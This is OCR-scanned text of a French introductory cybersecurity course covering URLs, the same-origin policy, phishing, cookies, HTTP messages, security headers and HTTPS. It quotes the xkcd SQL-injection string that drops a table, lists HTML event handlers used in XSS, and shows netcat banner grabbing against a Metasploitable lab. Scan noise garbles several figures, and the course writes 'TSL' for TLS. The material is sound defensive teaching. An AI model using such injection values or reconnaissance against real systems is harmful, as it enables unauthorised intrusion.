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Il faudrait encore parler
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du cryptojacking : le fait de miner de la cryptomonnaie a votre insu sur votre ordinateur.

De PHTML Smuggling : L'HTML Smuggling est une technique d'attaque qui consiste a dissimuler
du code malveillant dans un fichier HTML (ou JavaScript), puis a I'exécuter en local via le

navigateur pour contourner les filtres de sécurité réseau.

de I’hyperjacking : c’est la prise de contréle d’un hyperviseur dans un data center.

du SEO Poisoning : 'empoisonnement SEO consiste a placer un site malveillant dans les

premiers résultats de Google afin de gruger la confiance des internautes.
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ATTENTION AUX IDEES REGUES :

comment rester en sécurité sur Internet ?

Selon les non-experts Selon les experts

1. Utiliser un bon antivirus 1. Mettre a jour le systéme réguliérement
2. Utiliser un mot de passe fort 2. Utiliser des mots de passe forts & uniques
3. Changer réguliérement de mot de passe 3. Utiliser 'authentification a deux facteurs

Pour les experts, I’'antivirus vient en huitiéeme place, avec seulement 5% des votes ! Selon

eux, le changement régulier des mots de passe est également moins critique.

Le monde du web.

HI, THIS 15 OH, DEAR - DID HE | DID YOU REALLY WELL WEVE LOST THIS

YOUR SON'G SCHOOL. | BREAK SOMETHING? | NAME YOUR SON YEAR'S GTUDENT RECORDS.
WEREHAVING SOME | |\ o\ a Robert'); DROP T HOPE YOURE HAPPY.

(OMPUTER TROUBLE. TABLE Students;-- 7 {

R R AND T HOPE

; s ~OH.YES LUTTLE ~~ YOUVE LEARNED

BOBBY TABLES, TO SANMIZE YOUR

" H H m WE CALL HIM. DATABASE INPUTS.

https://xkcd.com/327/ (Creative Commons BY-NC 2.5, auteur : Randall Munroe)
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Bon a savoir

: les événements HTML

onchange
onclick
onmouseover
onmouseout
onerror

onfocus

onkeydown
onkeypress
onkeyup
onload
onresize

onsubmit
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Un serveur web est un ordinateur qui stocke, traite et
délivre des pages web (statiques ou dynamiques) a un
k client via le protocole HTTP.

¢ pommm Pour  tester légalement les injections SQL ainsi que les

q/ [ vulnérabilites XSS et CSRF, je vous conseille les sites
x [ volontairement vulnérables Altoro Mutual et Hack Yourself First.
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Les sites statiques

(D) httpsilexamplecom S }o | —

e| © 4

Appel de la page index.html

Quelle est m
I’adresse IP m
d’example.com ? T -
— L}
—xop | GF
1 L’adresse IP est HTML5 CSS3 JS

93.184.216.34 Serveur 93.184.216.34

web frontal ou front-end

Serveur DNS
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Les sites dynamiques

(D) httpsilexamplecom S }o | —

91 91

Appel de la page index.php </> {;}
HTML CSS

HTML5 CSS3 JS

web frontal ou front-end

Le développeur full-
stack s’occupe aussi
bien du frond-end
que du back-end...

Quelle est
I’adresse IP
d’example.com ? T
1 L’adresse IP est
93.184.216.34 Serveur 93.184.216.34

web dorsal ou back-end

<?> lumg

PH

MySQL

Serveur DNS
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La notion dURL et la SOP

Une URL (Uniform Resource Locator), encore appelée adresse web, est le concept de base
sur Internet. C’est un concept familier & chacun. Ce concept permet de localiser facilement

une ressource.

Voici a quoi ressemble une URL :

http://mon-site.net:80/test.php?nom=max#sectionl

“—> < > «—> < > < > < >
schéma héte port chemin requéte ancre
(scheme) (host) (port) (path) (query) (fragment)
= protocole
< B -
ORIGINE partie optionnelle de I'URL
partie importante de I'URL sur
laquelle repose la Politique de (le port appartenant a I'origine est
méme Origine (SOP) cependant également optionnel)

Voyons de quoi il s’agit :

= Le schéma (ou protocole) dit comment il faut se connecter.

= L’héte dit ou se connecter. L’hdte se compose du nom de domaine (et éventuellement
d’'un sous-domaine) et d’'une extension. L’extension est aussi appelée TLD (Top-Level
Domain). On peut noter que "www" dans www.mon-site.net est un sous-domaine’ et
"mon-site" est le domaine.

Le port par défaut est 80 (pour HTTP) et 443 (pour HTTPS).

Le chemin dit quelle ressource il faut récupérer sur le serveur.

La requéte est un paramétre passé au serveur (nom = clé et max = valeur)

L’ancre est un paramétre client qui n’est pas envoyé au serveur.

L2 2 N T

L’origine est formée du protocole, de I'héte et du numéro de port facultatif. C'est la

partie importante de I'adresse web !

1 Un site est généralement accessible avec ou sans le "www". Ainsi "http://www.mon-site.net"
est équivalent a "http://mon-site.net". Le www indique qu’il s’agit du site web du domaine "mon-
site". En effet, "mon-site.net" peut proposer d’autres services comme "ftp.mon-site.net" ou
"pop.mon-site.net". Vous pouvez encore créer votre propre sous-domaine (par exemple
"blog.mon-site.net") ...
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La Politique de méme Origine (SOP, Same-Origin Policy) est une méthode utilisée par les

navigateurs pour renforcer la sécurité. Cette méthode se base sur I'origine définie ci-dessus.

Cette politique empéche au navigateur d’accéder a une information d’une "origine A" depuis

une "origine B". Un site, par exemple, ne peut pas lire les cookies d’'un autre site.

Voici les comparaisons d’origines pour le site http://mon-site.net/

URL RESULTAT MOTIF
http://mon-site.net/style/body.css Succeés Mémes origines
http://mon-site.net/js/script.js Succeés Mémes origines
https://mon-site.net/math/index.html Echec Protocoles différents
http://mon-site.net:8080/img/user.png Echec Ports différents
http://ton-site.fr/auth/login.php Echec Hoétes différents

Conseil : comment éviter le phishing

La partie de I'adresse web qui précéde I'extension (.fr/, .be/, .com/, .net/, ...) est le nom de

domaine.

Si vous recevez un mail de votre banque qui vous renvoie vers I'adresse www.ma-banque.com
(il suffit pour le savoir de placer son curseur sur le lien sans cliquer), le nom de domaine est
"ma-banque" et vous pouvez faire confiance au message. Cependant, si I'adresse est
www.ma-banque.conseils.com, le nom de domaine est "conseils" (et "ma-banque" est ici
seulement un sous-domaine), il s’agit donc d’un site différent. Méme chose si 'adresse est
ma-banqua.com, avec une faute dorthographe ou encore si ladresse est
www.mabanque.com (sans le tiret). La méfiance est alors de mise, il s’agit probablement
d'une tentative de phishing (hamegonnage). L’hamegonnage consiste a obtenir des
renseignements personnels frauduleusement (mot de passe, numéro de carte de crédit,
adresse physique, ...) afin de réaliser une usurpation d’identité. Le phishing est une technique

d’ingénierie sociale qui exploite non la faille informatique, mais plutét la faille humaine

Je vous conseille de toujours scruter les liens qui vous sont proposés dans les mails, vous
pourrez ainsi éviter bien des désagréments. Il faut également se rappeler qu’une banque ne
demande jamais de code secret par mail, ni par téléphone, et encore moins dans l'urgence.

Le pirate vous menace souvent de désactiver ou de bloquer votre compte si les informations
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8:

demandées ne sont pas immédiatement communiquées. Cela doit, dans tous les cas, vous
alerter.

Voici ci-dessous un mail que j’ai regu il y a quelques années :

(] @ colruyt. be Q RE: Se il vous plait accepter cette carte-cadeau
l reply@shay78.rolesion.com h

Deux choses doivent vous alerter dans ce mail : le francais trés approximatif dans I'objet du
message et 'adresse de I'expéditeur qui n’a aucun lien avec le magasin mentionné. C’est trés
certainement une tentative de phishing. A la corbeille donc, sans réfléchir ! Avec I'essor de
l'intelligence artificielle, il est cependant de plus en plus ardu aujourd’hui de déceler les mails
de phishing...
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Les cookies

Les cookies, qui dépendent du protocole HTTP?, sont envoyés par le serveur a un client (le
navigateur), ce dernier renvoie le cookie lors de chaque requéte envoyée a ce méme serveur.
Les cookies servent a vous authentifier et & maintenir votre session ouverte sur un site
(cookies fonctionnels dits de session), a enregistrer vos préférences sur ce site -comme la
langue utilisée- ou a conserver votre panier d’achat en ligne (cookies fonctionnels dits de
préférence et de panier d’achat), a vous pister sur un site -quelles sont les pages visitées
sur un site donné- (cookies de pistage), a vous proposer des publicités ciblées (cookies de

marketing) ou encore a vous pister de site en site (cookies de tierce partie).

Le cookie est un fichier texte, contenant une paire "nom = valeur", et n'est donc pas un
fichier exécutable. Il n’est donc pas dangereux en soi. L’idée trés répandue dans les médias
de la dangerosité des cookies est un mythe, méme si des problémes relatifs a la protection de
la vie privée existent (utilisation des cookies tierce partie a des fins commerciales, par exemple

par I'affichage de publicités ciblées en relation avec votre historique de navigation) ...

Le serveur qui donne instruction au navigateur de stocker un cookie utilise I'en-téte de réponse
HTTP nommé Set-Cookie. Le serveur peut évidemment donner I'ordre de stocker plusieurs

cookies simultanément.

Syntaxe :

Set-Cookie : nom=valeur ; attribut_1 ; attribut_2 ; ...

Les attributs (ou "flags") sont facultatifs. Il y a 8 attributs possibles (voir le tableau page

suivante).
Exemple concret d’'un cookie de session :

Set-Cookie : SESSIONID=56tghh8h6 ; HttpOnly ; Path=/

2 HTTP (HyperText Transfer Protocol) est un protocole qui permet aux clients de communiquer
avec les serveurs sur le World Wide Web. Il existe une variante sécurisée du protocole HTTP qui
utilise le protocole de chiffrement TSL (anciennement SSL). Cette variante sécurisée est HTTPS.

3 Il y a deux flags dans cet exemple. Le chemin est ici "/", ce qui signifie que le cookie est
disponible sur I’ensemble du domaine.
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10:

Sil'en-téte de réponse HTTP est valide, le cookie sera stocké par le navigateur. Il estimportant
de retenir qu’un cookie appartient a un domaine. Il sera renvoyé par le navigateur lors de
chaque requéte envoyée a ce domaine par le client (le cookie est alors placé dans I'en-téte de
requéte HTTP Cookie).

EN-TETE DE REPONSE HTTP Set-Cookie

ATTRIBUT (FLAG) ROLE
name=value Nom et valeur du cookie (ex : sessionld=abcde12345)
Expi Ce flag spécifie la date d’expiration du cookie. Aprés cette date, le cookie
xpires

sera automatiquement effacé.

Max-Age Ce flag spécifie le nombre de secondes durant lequel le cookie doit vivre.

Ce cookie détermine la portée (scope) du cookie. Sera-t-il valable pour

Berai tous les sous-domaines du domaine dont il est issu ?
Ce cookie détermine également la portée du cookie. Sur quel répertoire
Path . N
du domaine sera-t-il valide ?
Ce flag nous informe sur le fait que le cookie doit étre utilisé avec le
Secure protocole sécurisé HTTPS. Il protége donc contre le vol du cookie pendant

le transport.

Ce flag oblige le cookie a étre uniquement accessible depuis le protocole
HttpOnly HTTP et non depuis un script (JavaScript par exemple). Il permet donc de
protéger le vol du cookie dans le navigateur.

Ce flag récent, qui peut prendre deux valeurs (strict et lax), permet de se
SamesSite protéger dans une certaine mesure (la protection est partielle) contre les
attaques CSREF.

On peut noter qu'il est possible de créer, lire ou encore supprimer un cookie avec JavaScript

grace a la propriété "document.cookie" (sans parenthéses, ce n’est pas une fonction !).
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Extraire les URLs d’'une page HTML et les associer leur(s) adresse(s) IP

Soit la page index.html contenant des URLSs (liens hypertextes) que I’on désire extraire.

La commande d’extraction sera :

cat index.html | grep "href="| cut -d "/" -f 3 | sort -u > output.txt

Pour associer les URLs obtenues avec leur(s) adresse(s) IP, on utilisera :

for x in $(cat output.txt) ; do host $x ; done | grep "has address" |cut-d " " -f1,4

Exemple d’exécution :

1-0005.1-msedge.net 13.107.42.14
e7792.dsca.akamaiedge.net 2.22.205.105
www-ic.vue.com 159.182.111.20
el119.dsca.akamaiedge.net 2.22.208.41
youtube-ui.
youtube-ui.
youtube-ui.

youtube-ui.
youtube-ui.
youtube-ui.
youtube-ui.
youtube-ui.

.google.
.google.
.google.
.google.
.google.
.google.
.google.
.google.

com
com
com
com
com
com
com
com

rootakali:~/Desktop# |

172
172
172

172
172
172

Pour obtenir juste les adresses IP, on utilisera :

for x in $(cat output.txt) ; do host $x ; done | grep "has address" | cut -d " "

|@®@@|

179.60.195.

174

13.107.42.14
23.65.194.215
159.182.111.20

23.217.224.
172.217.17.
172.217.20.
216.58.214.

172.217.19
172.217.17.
216.58.208.
172.217.17.
rootakali:~/Desktop# |

Iy
142
110
14

.206

110
110
46

.217.17.142
.217.168.206
.217.17.78
216.
216.
.217.17.110
.217.19.206
.217.168.238

58.214.14
58.208.110
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Analyse d’'une requéte et d'une réponse HTTP

REQUETE HTTP

12:

HTTP METHOD
Exemple : GET ou POST

RESOURCE PATH HTTP VERSION
Exemple : /site/index.html Exemple : HTTP/1.1

HTTP HEADERS

Blank Line

MESSAGE BODY

Corps de la requéte (uniguement pour la requéte POST)

Réponse HTTP

HTTP VERSION
Exemple : HTTP/1.1

HTTP STATUS CODE
Exemple : 200 OK

HTTP HEADERS

Blank Line

MESSAGE BODY

Corps de la réponse

< IDOCTYPE html> <htmlI> <head>...

Note :

HTTP/1.0 est aujourd’hui obsoléte. La version la plus utilisée est HTTP/1.1 (ou HTTP/2.0)

|@®@@|
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Voici un exemple de requéte HTTP (interceptée par Burp) :

GET /HTTP/1.1
Host: www.qwant.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

L

13:

Explications

GET est la méthode de la requéte (il en existe d’autres : POST, PUT,
DELETE, TRACE, HEAD, ...)

| est le chemin (ici la page d’accueil)

HTTP/1.1 est le protocole et sa version

L’en-téte Host permet de spécifier le site web qui nous intéresse sur un
hébergement multiple

L’en-téte User-Agent permet de spécifier la version du navigateur et le
systéme d’exploitation

L’en-téte Accept est utilisé par le navigateur pour spécifier le type de
document attendu en réponse

L’en-téte Accept-Language spécifie les langues que le client peut
comprendre (ici : frangais et anglais)

L’en-téte Accept-Encoding spécifie les codages qui seront acceptés
L’en-téte Connection avec la valeur keep-alive permet de garder la
connexion au serveur ouverte sans devoir initier une nouvelle connexion a

chaque fois.
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Voici un exemple de réponse HTTP :

HTTP/1.1 200 OK

Date: Fri, 22 May 2020 22:18:38 GMT
Cache-Control: public, max-age=86400
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip

Server: IS

Content-Length: 471

X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

Connection: close

<CORPS DU MESSAGE>

L

14:

Explications

La premiére ligne est la ligne de statut qui contient la version du protocole
suivie du code de statut et de sa signification textuelle (200 OK signifie que
la ressource a été trouvée sur le serveur, 404 NOT FOUND signifie que le
serveur n’a pas trouvé la ressource, ...)

L’en-téte Date contient la date et I’heure du message

L’en-téte Cache permet au client et au serveur de se mettre d’accord sur les
régles relatives au cache

L’en-téte Content-Type fait connaitre au client la fagcon dont il doit
interpréter le corps du message

L’en-téte Content-Encoding donne I’encodage du message (ici : gzip)
L’en-téte Server renvoie la banniére du serveur web : Apache, IIS et gws
(Google Web Server) sont trés répandus

L’en-téte Content-Length fournit la taille du corps du message en octets
X-XSS-Protection et X-Frame-Options protégent contre les attaques de type

XSS et de type clickjacking.
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Un peu de pratique avec Netcat

Lancons avec Netcat une requéte GET sur le site web de Metasploitable (ici en

192.168.56.102) afin de récupérer la page d’accueil de ce site. Il suffit de taper :

REQUETE

STATUT &
EN-TETES

.

. )
REPONSE :

J

REPONSE :

CORPS DU
MESSAGE

|@®@@|

nc <ADRESSE IP> 80
GET / HTTP/1.0
<ENTER>

<ENTER>

L’en-téte X-Powered-By
spécifie la technologie
utilisée par l'application :
ici le langage PHP.

rootakali:~# nc 192.168.56.102 80
GET / HTTP/1.0

HTTP/1.1 200 OK

Date: Fri, 22 May 2020 23:14:15 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891

Connection: close

Content-Type: text/html

<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>

__<Dl__,‘|

' ——l——
TMEewCISEIGINGIE } =
___|\__\__,_ O S S NS NN S [ /A S EN S _____I

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

</pre>

<ul>

<li><a href="/twiki/">TWiki</a></1i>

<li><a href="/phpMyAdmin/">phpMyAdmin</a></1i>
<li><a href="/mutillidae/">Mutillidae</a></1i>
<li><a href="/dvwa/">DVWA</a></1i>

<li><a href="/dav/">WebDAV</a></1i>

</ul>

</body>

</html>

rootakali:~#
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Il existe une autre méthode HTTP qui est identique a GET mais qui ne renvoie pas le

corps du message, mais juste la ligne de statut et les en-tétes. Il s’agit de la méthode

HEAD, trés utile pour récupérer la banniére du service HTTP (son nom et sa version) :

[ REQUETE ] e

REPONSE :

STATUT & EN-
TETES

—>

BANNER GRABBING

rootakali:~# nc 192.168.56.102 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 22 May 2020 23:13:26 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2

X-Powered-By: PHP/5.2.4-2ubuntu5.10
Connection: close
Content-Type: text/html

rootakali:~#

A RETENIR : quelques codes HTTP

200 OK

La requéte est traitée avec succeés

301 Moved Permanently

Document déplacé de fagon permanente

302 Found

Document déplacé de fagon temporaire

307 Temporary Redirect

La requéte doit étre redirigée temporairement

308 Permanent Redirect

La requéte doit étre redirigée définitivement

310 Too many Redirects

La requéte est victime d’une boucle de redirection
ou est redirigée de trop nombreuses fois.

400 Bad Request

La syntaxe de la requéte est erronée

401 Unauthorized

Authentification requise

402 Payment Required

Paiement requis pour accéder a la ressource

403 Forbidden

Les droits d’accés ne permettent pas I’accés a la
requéte

404 Not Found

Ressource non trouvée sur le serveur

405 Method Not Allowed

Méthode de requéte non autorisée

500 Internal Server Error

Erreur interne au serveur

503 Service Unavailable

Service temporairement indisponible ou en
maintenance

|@®@@|
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Cheminement d’'une requéte HTTP

REQUETE :
GET /page.php HTTP/1.1

Host: www.mon-site.net

<?>
PHP

Exécution de page.php :
<?php

?>

Parsing PHP (parsing = analyse syntaxique)

Eventuelle requéte SQL :

SELECT *
FROM Client
WHERE age BETWEEN 18 AND 65 ;

REPONSE :
HTTP/1.1 200 OK
En-tétes

Corps de la réponse (code HTML)

Parsing HTML, CSS et JavaScript :

a
HTML |} CSS

Affichage de la page par le navigateur
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Les requétes HTTP

Requéte GET

Requéte POST

Méthode HTTP

demander une

destinée a
représentation
d’une ressource identifiée, sans
intention de modifier I’état du

serveur.

Méthode HTTP destinée a soumettre
des données au serveur pour
traitement, potentiellement avec effet
sur I'état de la ressource ou du

systéme.

Les paramétres sont Vvisibles
directement dans I'URL Moins

sécurisé !

Les données sont envoyées dans le
corps de la requéte. On peut les
visualiser avec le proxy intercepteur
BURP. Plus

parameétres sont moins visibles !

sécurisé car les

Les données sont limitées (la taille

des URL n’est pas infinie)

Les données ne sont pas limitées (la
taille de la requéte POST peut étre trés

importante)

Utile pour télécharger une page
web, pour récupérer une
information (APl REST), pour faire

une recherche sur Google, ...

Utile dans I’envoi de données via un
formulaire (souvent dans un but
d’authentification, de réclamation a
un service clientéle, de message
adressé au responsable d’un site
web) et méme pour l'upload de

fichiers vers un serveur distant, ...

|@®@@|
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Envoi de I'en-téte HTTP Referer

L’ en-téte HTTP Referer permet d’indiquer au site que vous visitez la page d’origine d’ou provient

votre requéte.

On aI’habitude d’écrire cet en-téte avec un seul r (Referer: https://exemple.com) mais le Referrer-

Policy et les balises meta avec deux r (<meta name="referrer" content="no-referrer">) !
y

Le Referer peut violer votre vie privée en permettant le tracking publicitaire (via votre profil de

navigation).

On peut contréler I’envoi de I’en-téte HTTP Referer de multiples maniéres :

Du co6té serveur (dans les pages web)

<meta name="referrer" content="no-referrer">

no-referrer : aucun Referer n’est envoyé !

<meta name="referrer" content="no-referrer-when-downgrade">

no-referrer-when-downgrade (par défaut) : Referer envoyé sauf si passage HTTPS — HTTP.

<meta name="referrer" content="origin">

origin : Envoie uniquement le domaine d'origine, pas 'URL compléte !

<meta name="referrer" content="strict-origin-when-cross-origin">
strict-origin-when-cross-origin : Envoie 'URL compléte pour le méme site, mais seulement le

domaine pour les sites externes.

Du cété serveur (dans le fichier .htaccess)

<IfModule mod_headers.c>
Header set Referrer-Policy "no-referrer"
</IfModule>

Du coété client

=> |l est parfois possible de désactiver I'’envoi du Referer dans les paramétres du
navigateur.

= On peut aussi installer une extension de navigateur qui bloque le Referer.
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Vérifier vos en-tétes HTTP avec https://securityheaders.com

Security Headers
sonsoreaty 3352 Probely

Scan your site now

Scan

Hide results @ Follow redirects

Home About

Donate

Security Report Summary

Site:
IP Address:

Report Time:

Headers:

04 Dec 2022 16:24:40 UTC

% Strict-Transport-Security | % Content-Security-Policy | % X-Frame-Options ] % X-Content-Type-Options

% Referrer-Policy | % Permissions-Policy

Vous pouvez voir ci-dessus un site, avec le trés mauvais score F, sur lequel manquent les en-

tétes suivants :

= Strict-Transport-Security (HSTS)
= X-Content-Type-Options

= Referrer-Policy

= Content-Security-Policy

= X-Frame-Options
= Permissions-Policy

Vous pouvez voir ci-dessous un autre site, avec un score en progression, ou I'en-téte X-

Frame-Options est défini :

Security Report Summary

Site:
IP Address:

Report Time:

Headers:

Scan your site now

Scan

Hide results @ Follow redirects

I

04 Dec 2022 16:25:52 UTC

v X-Frame-Options ] % Strict-Transport-Security | % Content-Security-Policy | % X-Content-Type-Options

x Referrer-Policy | % Permissions-Policy

Home About

Donate

OO
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Il est possible d’améliorer les scores précédents en ajoutant dans le fichier .htaccess de votre

site les lignes suivantes :

Avec default-src 'self’, il ne faut
pas mettre de code CSS ou

# SECURITY HEADERS JavaScript directement dans
votre page web ! Il faut créer un

fichier .css ou .js séparé...

Header set Content-Security-Policy "default-src 'self"
Header set Strict-Transport-Security "max-age=31536000;includeSubDomains;"
Header always set X-Frame-Options SAMEORIGIN

Header set X-Content-Type-Options nosniff , ) T
Ce dernier en-téte doit étre

complété selon VoS
besoins (avec  la  virgule
comme séparateur) !

Header set Referrer-Policy: no-referrer

Header set Permissions-Policy: "fullscreen=()"

4

Le résultat ne se fait pas attendre et les scores antérieurs font un bond immeédiat :

Security Headers Home About Donate
ceee
somsoreaty 3333 Probely

Scan your site now

_ S

v Hide results v Follow redirects

Security Report Summary

site oo/

1P Address: N
+ Report Time: 04 Dec 2022 19:22:03 UTC

Hoad + Strict-Transport-Security ]| « X-Content-Type-Options ] « Referrer-Policy | ¥ Content-Security-Policy
eaders:
+ Permissions-Policy | ¥ X-Frame-Options

En décembre 2022, lors de mes tests ci-dessus :

= environ 11% des sites scannés possédaient le score A.
=>» environ 1,5% des sites scannés possédaient le score A+.
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TCP vs HTTP

Le protocole TCP (couche transport) gére le flux des données alors que le protocole HTTP

(couche application) décrit ce que ce flux de données renferme.

Une connexion TCP utilise la poignée de main en trois temps :

Poignée de main en trois temps (three-way handshake)

>
Envoi d’'un paquet SYN (SEQ = x)
S
C
L < =
Envoi de SYN, ACK (SEQ =y, ACK = x+1) R
I
Vv
E
> E
N Envoi de ACK (SEQ = x+1, ACK = y+1) 3
T
R

<€ —>
TRANSFERT DE DONNEES

SEQ=a numéro de séquence

ACK=b numéro d’acquittement
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Introduction a HTTPS et SSL/TSL

Le protocole HTTPS est la version sécurisée du protocole HTTP. Cette sécurisation s’effectue

grace au chiffrement réalisé par le protocole TSL (anciennement SSL).

On reconnait facilement un site sécurisé dans le navigateur : un cadenas apparait dans la

plupart des navigateurs a cote de 'URL :

() 8 httoedfwawdoogiebe (]  https://www.google.be/?hi=fr

FIREFOX EDGE

J 1 @ https://www.

Les gens croient parfois qu’implémenter HTTPS est compliqué et/ou colteux. En vérité, il n’en
est rien. En effet, un projet Open Source (auquel participent notamment CISCO et les
Fondations Mozilla et Linux), Let’'s Encrypt, permet depuis 2015 a chacun d’obtenir un certificat
SSL gratuitement. HTTPS est dorénavant a portée de tous. En octobre 2017, 50 millions de

domaines étaient sécurisés par Let’'s Encrypt :

Let's Encrypt Growth

- Certificates Active L
Fully-Qualified Domains Active /

50M —— Registered Domains Active I/
/ At

- / /L//
30M /7/\{/
J\/wethodoloy Change
20M 6
| ]
.J,-—/

10M rf/ /

e t—

Oct 2015 Jan 2016 Apr 2016 Jul2016 Oct 2016 Jan 2017 Apr 2017 Jul2017 Oct 2017

Active Count

Kl Let’s Encrypt
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Si vous voulez connaitre le niveau de confiance que vous pouvez accorder au serveur qui
héberge votre site web, vous pouvez le scanner en profondeur sur

https://www.ssllabs.com/ssltest/ (SSL Server Test).

La note globale, qui peut varier de A+ a F, indique le niveau de sécurisation du site HTTPS

scanné. Le site https://www.ssllabs.com en question, par exemple, obtient la note A+.

SSL Rebort: www.ssllabs.com (Vs4.41.2oo.1oo)v

Summary

Overall Rating

Certificate

Protocol Support

Key Exchange

Cipher Strength

Au niveau des statistiques, on peut voir que seulement 13,9% des sites étaient sécurisés en

janvier 2015 (et que nombre d’entre eux étaient notés F, la plus mauvaise note possible) :

SSL Pulse
Monthly Scan: January 07, 2015 =

SSL Security Summary B SSL Labs Grade Distribution B

40%
Total sites surveyed

! . /
’- » ' 149,081
3 -04% 30%
Inadequate security | |

13.9% 128,320 20%

secure sites ~29%

Secure sites 10%
sAs A mA-
20,761 0

+29%
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La situation n’est plus du tout la méme aujourd’hui, puisqu’au début de I'année 2025 déja, plus
de 71% des sites étaient sécurisés, avec une majorité de notes A (le nombre de notes F ayant

été divisé par quatre en a peine cing ans) :

SSL Pulse

SSL Pulse is a continuous and global dashboard for monitoring the quality of SSL / TLS support over time across 150,000 SSL- and TLS-enabled
websites, based on Alexa’s list of the most popular sites in the world.

Monthly Scan: June 02, 2025 m

SSL Security Summary B SSL Labs Grade Distribution B

80%
Total sites surveyed

70%
134,380 §
-0.0% 60%
Inadequate security 0%
38,605 40%
+0.0% 30%
Secure sites 20%
A+ =A sA-

10%
95,775 X
+0.0% 0

Vous pouvez utiliser le logiciel Wireshark (renifleur de paquets ou sniffer en anglais), un logiciel
Open Source, pour vérifier les protocoles utilisés lors de I'envoi des données sur le réseau.
est bon de savoir que cet analyseur de paquets permet aussi de capturer a l'insu des
internautes, si elles ne sont pas chiffrées, des données sensibles transitant sur le réseau (mots

de passe, numéros de carte de crédit, ...), pour le plus grand bonheur des hackers.

Voici une capture d’écran de Wireshark sur mon ordinateur :

pro— - o

(over Bdter o Al Caghee Aeoise Umstues Teephone Weeless Owis Aide
DRE Q] @ s L]

an
£

Nous avons vu précédemment quHTTPS est en réalité HTTP auquel on a ajouté le protocole

"SSL/TSL". Le protocole SSL/TSL posséde les propriétés suivantes :
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Confidentialité / Intégrité / Authenticité

Cependant, SSL/TLS n’assure pas I'anonymat des communicants !

Assurée par

Propriété
SSL/TSL ?

Confidentialité

Intégrité

Authenticité

Anonymat des

communicants

Protocole

Cette propriété assure que des parties non
o ) . Record
autorisées ne pourront pas lire les données sur le
. ] ) Protocol
réseau, en raison du chiffrement.
Cette propriété assure qu’'un hacker ne pourra
] ] ) Record
pas altérer les données transmises. Une
o ] . ] o Protocol
altération sera détectée et les données rejetées.
Cette propriété assure que le navigateur vérifiera
. - ’ ] Handshake
l'identité du serveur avant d’envoyer les données
] Protocol
cryptées
Méme si les données sont chiffrées, rien
n’empéche cependant le hacker de connaitre I'lP X
du client et I'identité du serveur (via le certificat)

Quatre idées fausses a propos d’HTTPS

ligne, formulaire de login, ...

HTTPS n’est utile que pour
opérations sensibles : paiement en

les

attaqué par un hacker mal intentionné.

FAUX : n'importe quel site est vulnérable et peut étre

serveur a cause du
cryptographique.

HTTPS diminue les performances du
traitement

aujourd’hui minime.

FAUX : avec les CPU actuels, cette affirmation n’est

plus vraie et I'impact sur les performances est

difficiles a configurer.

Les certificats SSL sont chers et

certificats gratuits pour tous.

FAUX : depuis 2015, Let's Encrypt propose des

HTTPS par adresse IP.

On ne peut avoir qu’un seul site

'extension TLS appelée SNI

FAUX : cela n’est plus vrai aujourd’hui grace a
(Server
Indication). Le serveur peut donc deés lors présenter

plusieurs certificats SSL pour la méme adresse IP.

Name

VOUS N’AVEZ PLUS AUCUNE RAISON DE NE PAS PASSER A HTTPS !

OO



Introduction a la cybersécurité / Le monde du web

27

Rediriger HTTP vers HTTPS c6té serveur

Vous l'avez maintenant compris, vous devez utiliser HTTPS sur votre site web. Est-ce pour

autant une bonne idée de désactiver HTTP de maniére brutale ? En fait, non !

De nombreux liens existent sur Internet qui renvoient a la version HTTP de votre site. Une
personne peut également indiquer au navigateur 'adresse de votre site version HTTP. Toutes

ces tentatives seront alors bloquées, ce qui n’est pas le but recherché.

La solution consiste a utiliser un mécanisme de redirection* qui redirige tout le trafic HTTP de

votre site vers un trafic HTTPS. Ce mécanisme s’implémente sur le serveur.

Voici un exemple :

weer W) Ud T A
XHR Polices Images Médias WS Autre [[] Désactiver le cache ~ Aucune limitation de la bande passante % -ﬁ-
En-tétes  Cookies Requéte Réponse  Délais

Y Filtrer les en-tétes

[ cer e | <— Requéte vers la page non
sécurisée en HTTP

Etat [ 301 Moved Permanently (2)
Version HTTP/1.1
Transfert 171,10 Ko (taille 166,13 Ko} \ Redirection 301 vers la
Priorité de la requéte Highest page sécurisée en HTTPS
Résolution DNS Systéme

+ En-tétes de la réponse (4,976 Ko) Texte brut ClD

(7) Cache-Control: max-age=0, must-revalidate, no-cache, no-store
7) Connection: Upgrade, Keep-Alive
Content-Length: 0

( ) Content-Security-Policy-Report-Only: font-src fonts.googleapis.com fonts.gstatic.com *.gstatic.com *.trustedshops.co
m *.etrusted.com maxcdn.bootstrapcdn.com https/fontsgstatic.com https//widgetstrustedshopscom 'self' 'unsafe-inline’;
form-action geostag.cardinalcommerce.com geo.cardinalcommerce.com 1eafstag.cardinalcommerce.com 1eaf.cardinalc
ommerce.com centinelapistag.cardinalcommerce.com centinelapi.cardinalcommerce.com secure.authorize.net test.aut
horize.net httpsy//blumrocket.com 'self’ 'unsafe-inline’; frame-ancestors 'self’; frame-....facebook.net graph.facebook.co
m maps.googleapis.com www.facebookcom business.facebook.com *.trustedshops.com *.etrusted.com in.hotjar.com vc
.hotjar.io *,google-analytics.com *.analytics.google.com stats.g.doubleclick.net *.brevo.com *.google.com *.clarity.ms
*.doubleclick.net *.googlesyndication.com https//integrations.etrustedsite 'self' 'unsafe-inline’; child-src ‘self' 'unsafe-in
line’; default-src *.trustedshops.com *.etrusted.com ‘self’ 'unsafe-inline’ ‘'unsafe-eval’; base-uri ‘self’ 'unsafe-inline’;

(?) Content-Type: text/html; charset=UTF-8

(7) Date: Fri, 17 Jan 2025 06:43:21 GMT

7) Expires: Wed, 17 Jan 2024 06:43:22 GMT

-Alive: ti = X=

Location: htt%'@ﬂv.terrg_@(

(77 pPragma:; no-cache

Server: Apache

Page effectivement

renvoyée en HTTPS

